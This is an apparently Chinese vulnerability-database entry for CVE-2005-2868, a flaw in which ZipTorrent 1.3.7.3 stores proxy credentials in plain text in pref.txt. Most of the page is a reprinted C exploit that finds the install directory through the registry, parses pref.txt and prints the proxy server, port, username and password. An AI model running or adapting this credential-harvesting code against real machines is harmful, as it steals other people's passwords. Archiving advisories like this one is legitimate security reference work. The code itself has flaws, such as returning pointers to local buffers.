ZipTorrent pref.txt信息泄漏漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109016 漏洞类型 未知
发布时间 2005-08-22 更新时间 2005-09-08
CVE编号 CVE-2005-2868 CNNVD-ID CNNVD-200509-080
漏洞平台 Windows CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/1174
https://www.securityfocus.com/bid/89350
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200509-080
|漏洞详情
ZipTorrent是一款BT下载软件。ZipTorrent1.3.7.3版本在pref.txt文件中明码文本中存储敏感信息,这就允许本地用户获得敏感信息,比如代理服务器信息和密码。
|漏洞EXP
/*================================================================

ZipTorrent 1.3.7.3 Local Proxy Password Disclosure Exploit by Kozan

Discovered & Coded by Kozan
Credits to ATmaCA
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com

Application:
--------------------
ZipTorrent 1.3.7.3 (and probably prior versions)
Vendor: www.ziptorrent.com

Introduction:
--------------------
ZipTorrent is the fastest BitTorrent client for Windows with the
most features, such as Search om Major search engines an RSS reader,
IRC Chat rooms, Automatic Torrent Download Rules, Automatic Update,
Bandwidth Monitor, NAT Checking, and UPnP Support. An install wizard
that helps you through the installation process.

Bug:
--------------------
ZipTorrent stores proxy server information and password in
X:\\[Program_Files_Path]\[ZipTorrent_Path]\pref.txt
in plain text. A local user can read passwords and others.

Vendor Confirmed:
--------------------
No

Fix:
--------------------
There is no solution at the time of this entry.

================================================================*/



#include <stdio.h>
#include <windows.h>



int GetOffset(char *FilePath, char *Str)
{
       char kr;
       int Sayac=0;
       int Offset=-1;
       FILE *di;
       if( (di=fopen(FilePath,"rb")) == NULL )
       {
               fclose(di);
               return -1;
       }

       while(!feof(di))
       {
               Sayac++;
               for(int i=0;i<strlen(Str);i++)
               {
                       kr=getc(di);
                       if(kr != Str[i])
                       {
                               if( i>0 ) fseek(di,Sayac+1,SEEK_SET);
                               break;
                       }

                       if( i > ( strlen(Str)-2 ) )
                       {
                               Offset = ftell(di)-strlen(Str);
                               fclose(di);
                               return Offset;
                       }
               }
       }

       fclose(di);
       return -1;
}


char *ReadString(char *FilePath, char *Str)
{
       FILE *di;
       char cr;
       int i=0;
       char Feature[500];

       int Offset = GetOffset(FilePath,Str);

       if( Offset == -1 ) return NULL;
       if( (di=fopen(FilePath,"rb")) == NULL ) return NULL;

       fseek(di,Offset+strlen(Str),SEEK_SET);

       while(!feof(di))
       {
               cr=getc(di);
               if(cr == 0x0D) break;
               Feature[i] = cr;
               i++;
       }

       Feature[i] = '\0';
       fclose(di);
       return Feature;
}

char *GetZipTorrentPath()
{
       HKEY hKey;
       char szZipTorrentPath[MAX_PATH];
       DWORD dwBufLen = MAX_PATH;
       LONG lRet;

       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                                       "SOFTWARE\\ZipTorrent",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey
                                       ) == ERROR_SUCCESS)
       {
               lRet = RegQueryValueEx( hKey,
                                                               "Install_Dir",
                                                               NULL,
                                                               NULL,
                                                               (LPBYTE) szZipTorrentPath,
                                                               &dwBufLen);

               if( (lRet != ERROR_SUCCESS) || (dwBufLen > MAX_PATH) )
               {
                       RegCloseKey(hKey);
                       return NULL;
               }
               RegCloseKey(hKey);
               return szZipTorrentPath;
       }
       return NULL;
}


int main()
{
       char szPwdFile[MAX_PATH];
       char szServer[255], szPort[255], szUsername[255], szPassword[255];
       bool bInstalled;
       if( GetZipTorrentPath() == NULL ) bInstalled = false;
       else
       {
               bInstalled = true;
               strcpy(szPwdFile, GetZipTorrentPath());
               strcat(szPwdFile, "\\pref.txt");
               strcpy(szServer, ReadString(szPwdFile, "proxy_ip | "));
               strcpy(szPort, ReadString(szPwdFile, "proxy_port | "));
               strcpy(szUsername, ReadString(szPwdFile, "proxy_username | "));
               strcpy(szPassword, ReadString(szPwdFile, "proxy_password | "));
       }

       fprintf(stdout, "ZipTorrent 1.3.7.3 Local Proxy Password Disclosure
Exploit by Kozan\n");
       fprintf(stdout, "Credits to ATmaCA\n");
       fprintf(stdout, "Web: www.spyinstructors.com \n");
       fprintf(stdout, "Mail: kozan@spyinstructors.com \n\n");

       if( !bInstalled )
       {
               fprintf(stderr, "ZipTorrent is not installed on your pc!\n");
               return -1;
       }

       fprintf(stdout, "Proxy Server\t: \t%s\n", szServer);
       fprintf(stdout, "Proxy Port\t: \t%s\n", szPort);
       fprintf(stdout, "Proxy Username\t: \t%s\n", szUsername);
       fprintf(stdout, "Proxy Username\t: \t%s\n", szPassword);

       return 0;
}

// milw0rm.com [2005-08-22]
|受影响的产品
ZipTorrent ZipTorrent 1.3.7.3
|参考资料

来源:MISC
链接:http://www.spyinstructors.com/show.php?name=Advisories&pa=showpage&pid=65
来源:SECUNIA
名称:16542
链接:http://secunia.com/advisories/16542